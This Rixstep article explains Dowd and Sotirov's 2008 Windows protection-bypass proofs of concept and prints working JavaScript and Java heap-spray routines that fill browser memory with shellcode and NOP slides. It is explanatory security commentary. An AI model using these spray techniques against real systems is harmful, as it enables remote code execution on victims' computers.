Rixstep
 About | ACP | Buy | Industry Watch | Learning Curve | News | Products | Search | Substack
Home » Learning Curve » Can't Take a Punch

The Knockouts

Bringing Windows down.


Get It

Try It

As Dowd and Sotirov show, it's possible to use the above security flaws to bring Windows down. They provide any number of complete 'proofs of concept' to demonstrate this.

heapspray-ret.rb

heapspray-ret.rb attacks the ANI vulnerability and bypasses ASLR. It fills 100 MB of the IE heap with shellcode. It creates multiple copies of a string each taking 1 MB of memory. Each block is aligned on a 64 KB boundary and the data controlled by the hacker starts an offset of 36 bytes.

By repeating the same shellcode for each 64 KB one can know that any heap address ending in 0x24 (36 byte offset) will contain the shellcode.

Heap randomisation can shift the start of the heap by up to 2 MB but after that all allocations are contiguous. The 100 MB shellcode will end up in the same memory range on all systems - despite the use of ASLR.

The buffer overflow in the LoadAniIcon() API is used to overwrite the return address with 0x7c50024, an address in the middle of the 100 MB allocation.

This exploit is very reliable.

function heapSpray(data, mb) {
    // 64KB chunk
    //
    // data padding
    // x bytes 65536 - x bytes

    var chunk64k = data + padding((65536 - data.length * 2) / 2)

    // 1MB chunk
    //
    // heap header string length 64k chunks truncated 64k chunk null
    // 32 bytes 4 bytes 15 * 65536 65498 bytes 2 bytes

    var chunk1mb = "";

    // 64k chunks
    for (var i = 0; i < 15; i++)
        chunk1mb += chunk64k;

    // truncated 64k chunk
    chunk1mb += chunk64k.substr(0, 65498 / 2);

    a = new Array();

    // 1MB allocations, 64KB alignment, data starts at 64KB aligned
    // addresses + 32 bytes

    // Allocate mb megabytes
    for (var i = 0; i < mb; i++)
        a[i] = chunk1mb.substr(0, chunk1mb.length);
}

// Fill 100MB of the heap with shellcode
heapSpray(shellcode, 100);

heapspray-seh.rb

Sotirov/Dowd's heapspray-seh.rb module bypasses stack protections, exception handling protections, and address randomisation. The flawed function LoadAniIcon() can still be exploited even if stack protection is used by overwriting an exception handler record and raising an exception. The exception handler is overwritten to point to sprayed shellcode on the heap, effectively bypassing SafeSEH. The default configuration for IE is not protected by DEP; handlers on the heap are allowed; the shellcode gets invoked. This technique works with ASLR as well.

flash-virtualprotect.rb

flash-virtualprotect.rb bypasses both ASLR and DEP at the same time. Hackers look for shared libraries that are not DEP compatible and loaded at static addresses. Recent versions of Flash and Java plugins include modules that are not compatible with ASLR. The module Flash9f.ocx (version 9.0.124.0) always uses the address 0x30000000.

Fake stack frames are created and control is returned to a known address in Flash9f.ocx in an effort to change the protection of the shellcode on the heap to make it executable.

A call to VirtualProtect() changes the protection of the shellcode and then returns control to it, bypassing both DEP and ASLR. The technique depends on a shared library not compatible with ASLR but at time of writing (August 2008) such a Flash plugin was found on almost all Windows computers.

flash-virtualprotect-seh.rb

flash-virtualprotect-seh.rb bypasses stack protection, exception handler protection, address randomisation, and data execution protection. If stack protection is used then the code reuse has to be combined with an exception handler overwrite and a raised exception. The corrupted handle is pointed to code in a library lacking the SafeSEH table - again Flash9f.ocx is a perfect choice. As control of the stack has not yet been achieved, the code has to jump to a sequence that modifies the stack pointer so the hacker can reach the part of the stack already under control.

And it should be noted that no version of Windows could stop this exploit at time of writing.

java-heapspray.rb

java-heapspray.rb bypasses both ASLR and DEP. It uses a Java applet to fill the JVM heap with copies of a string with a NOP (no operation) slide and shellcode. Tests showed that out of memory exceptions could be raised with 93 MB allocated.

public void heapSpray(String shellcode, int mb) throws RuntimeException {
    // Limit the shellcode length to 100KB
    if (shellcode.length() > 100 * 1024)
        throw new RuntimeException();

    // Limit the heap spray size to 1GB, even though in practice the Java
    // heap for an applet is limited to 100MB

    if (mb > 1024)
        throw new RuntimeException();

    // Array of strings containing shellcode

    String[] mem = new String[1024];

    // A buffer for the nop slide and shellcode

    StringBuffer buffer = new StringBuffer(1024 * 1024 / 2);

    // Each string takes up exactly 1MB of space
    //
    // header    nop slide   shellcode  NULL
    // 12 bytes  1MB-12-2-x  x bytes    2 bytes

    // Build a nop slide

    for (int i = 1; i < (1024 * 1024 - 12) / 2 - shellcode.length(); i++)
        buffer.append('\u9090');

    // Append the shellcode

    buffer.append(shellcode);

    // Run the garbage collector

    Runtime.getRuntime().gc();

    // Fill the heap with copies of the string

    try {
        for (int i = 0; i < mb; i++)
            mem[i] = buffer.toString();
    }
    catch (OutOfMemoryError err) {
        // do nothing
    }
}

Think this is bad? Ya ain't seen nuthin' yet!

About | ACP | Buy | Industry Watch | Learning Curve | News | Products | Search | Substack
Copyright © Rixstep. All rights reserved.